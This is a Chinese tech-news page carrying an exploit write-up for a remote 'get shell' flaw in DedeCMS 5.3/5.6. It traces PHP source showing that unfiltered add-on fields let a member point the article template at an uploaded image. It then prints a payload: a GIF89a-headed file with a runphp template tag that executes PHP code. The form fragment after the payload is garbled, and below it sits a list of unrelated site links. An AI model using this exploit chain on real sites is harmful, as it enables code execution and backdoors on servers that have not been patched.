dedecms 5.6有哪些漏洞?dedecms 5.6漏洞描述
DEDECMS 5.6最新Get Shell漏洞
影响版本:DEDECMS 5.3/5.6
漏洞描述:
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。
article_add.php
复制代码
代码如下:
........................
else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check.php');
//分析处理附加表数据
$inadd_f = $inadd_v = '';
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
............................................ //省略部份代码
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
..........................................
$addtable = trim($cInfos['addtable']);
if(emptyempty($addtable))
{
......................................
}
else
{
$inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
if(!$dsql->ExecuteNoneQuery($inquery))
{
..........................................
}
}
..........................................
$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义)
function MakeArt($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(DEDEINC.'/arc.archives.class.php');
if($ismakesign)
{
$envs['makesign'] = 'yes';
}
$arc = new Archives($aid);
$reurl = $arc->MakeHtml(); //arc.archives.class.php有定义
............................
}
arc.archives.class.php
复制代码
代码如下:
class Archives
{
................
function __construct($aid)
{
............
if($this->ChannelUnit->ChannelInfos['addtable']!='')
{
$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
$this->addTableRow = $this->dsql->GetOne($query);
}
........................
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
...............................
$this->Fields['templet'] = $this->addTableRow['templet'];//注意1
......................................
}
}
.............................
}
function MakeHtml($isremote=0)
{
global $cfg_remote_site,$fileFirst;
if($this->IsError)
{
return '';
}
$this->Fields["displaytype"] = "st";
//预编译$th
$this->LoadTemplet(); //触发1
......................................//省略部份代码
$this->arseDMFields($i,1);
$this->dtp->SaveTo($truefilename); //触发2
......................................
}
继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义
function LoadTemplet()
{
if($this->TempSource=='')
{
$tempfile = $this->GetTempletFile(); //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
";
echo "模板文件不存在,无法解析文档!";
exit();
}
$this->dtp->LoadTemplate($tempfile); //触发3
$this->TempSource = $this->dtp->SourceString;
}
else
{
$this->dtp->LoadSource($this->TempSource);
}
}
看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet'])) //注意3
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
.......................................
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}
注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
article_edit.php
复制代码
代码如下:
......................
else if($dopost=='save')
{ ....................
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
}
}
...................
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{..............
}
}
....................
}
$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo(); {/dede:field}
保存为1.gif
复制代码
代码如下:
3.
5.
7.
class="intxt"/>9.
class="intxt" style="width:219px"/>
class='option3' selected=''>Test
maxthon浏览器的漏洞说明 为什么会出现这个漏洞?
漏洞说明:maxthon浏览器是一个强大的多页面浏览器 除了方便的浏览功能, maxthon浏览器还提供了大量的实用功能改善用户的上网体验,其在中国浏览器市场拥有大量的用户,以安全,界面友好著称。但是80sec安全组
详情2018-01-25 12:28:31责编:llp 来源:驱动管家互联网有哪些恶意软件?互联网十大恶意软件
想要从所有的安全厂商那里得到所有的数据并分析恶意软件感染的难度无异于“上青天”。不过总会有安全企业会通过自己的数据来分析当前网络威胁的数量和类型,以及恶意软件传播的高峰期或谷底期。安全厂商Check Po
详情2018-01-14 10:34:55责编:llp 来源:驱动管家开源应用程序防火墙WebKnight如何在iis6中安装?
网站被“成功”注入,网站一些页面被插入了下载病毒的代码,经查:生产服务器的代码没有任何被改动过的迹象,排除服务器被入侵,代码被篡改的可能;有病毒下载代码的部分,在数据库里真实看到了篡改迹象,可以排
详情2018-02-28 15:41:15责编:llp 来源:驱动管家在享用互联网的同时,如何做到网络安全?
我们现在的生活几乎是离不开网络了,网络渗透了我们人类生活的各个角落,互联网给我们带来了很多方便与诸多利益,但是在同时,也给我们带来了很多隐患,我们该怎么样在享用互联网的同时保证好自己安全呢?那么一
详情2018-01-27 14:25:51责编:llp 来源:驱动管家dos攻击和ddos攻击的区别是什么?ddos攻击的方式有哪几种?
什么是拒绝服务攻击(DOS)DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻
详情2018-02-01 10:35:23责编:llp 来源:驱动管家容易被纠正的安全疏漏 哪些网络安全疏漏可以被避免?
不论我们做多大的努力,终端用户甚至是企业的IT部门,仍然会忽视那些本来很容易被纠正的安全疏漏。本文将与大家讨论10个可以被避免的安全疏漏,并告诉大家该如何纠正这种疏忽。1: 使用脆弱的密码曾经有段时间,
详情2018-02-17 16:29:45责编:llp 来源:驱动管家怎么使用dos攻击工具阿拉丁来进行初步的dos攻击?
任务一 熟悉dos攻击器阿拉丁的使用根据老师发给我们的DOS攻击器,我们来进行初步的DOS攻击。我们会在监视器中看到,CPU的使用率时变低的,下面攻击开始设置数据,被攻击的IP地址,和攻击力度的大小。任务二 建
详情2018-02-07 19:37:03责编:llp 来源:驱动管家网马是什么?怎么保护网马的代码?
网页木马实际上是一个HTML网页,它利用IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马。网马就是在网页中植入木马,你打开网页就运行了木马程序,使你在不知不觉中中毒。网马
详情2018-01-16 12:21:40责编:llp 来源:驱动管家.php文件被apache服务器解析成php文件的问题如何解决?
主要问题是:不管文件最后后缀为什么,只要是 php *结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime types文件里面没有定义的扩展名在诸如x1 x2 x3的情况下,最后一个x3的没有定义,他会给解析成
详情2018-02-16 13:07:06责编:llp 来源:驱动管家diskXtender mediastor组件存在漏洞:服务器没有正确验证格式串的内容
受影响系统:EMC DiskXtender 6 20 60描述:CVE(CAN) ID: CVE-2008-0963EMC DiskXtender是一款数据备份、迁移套件。DiskXtender产品的MediaStor组件在处理UUID为b157b800-aef5-11d3-ae49-00600834c15f的RPC接
详情2018-01-25 16:13:34责编:llp 来源:驱动管家
- 怎么检测网站存在注入漏洞?防注入有哪些解决办法?
- 骑士助手app怎么使用?骑士助手使用方法详解
- 有道云笔记网页剪报怎么用?有道云笔记网页剪报在哪里
- 摄像头支架怎么安装?安装摄像头支架的教程
- 笔记本电池损耗了可以用这个方法修复
- 高通正式发布Qualcomm骁龙5G模组方案
- 【游戏攻略】《绝地求生大逃杀》震爆弹有什么用?投掷物效果介绍
- 在win7系统上怎么关闭系统还原?关闭系统还原的方法
- ghost还原怎么使用?ghost还原的步骤详解
- 用u盘复制文件的是出现蓝屏的原因是什么?如何解决
- 夏季如何保养笔记本?
- 电脑液晶显示器黑屏故障检测方法
- 联想手机a850 root 联想手机a850升级步骤
- vibe shot可以用两张卡吗?联想vibe shot是双卡双待手机吗?
- 如何利用第三方的recovery刷中兴n919的rom包?
- word中怎么隐藏文字?Word中隐藏文字技巧
- QQ怎么查看历史头像?一键查看曾经使用过的QQ头像方法
- 打印机共享怎么设置 XP系统设置打印机共享方法
- mcafee默认规则要点 mcafee规则设置
- 抵御ddos攻击需要做什么?怎么部署ddos攻击的防御方法?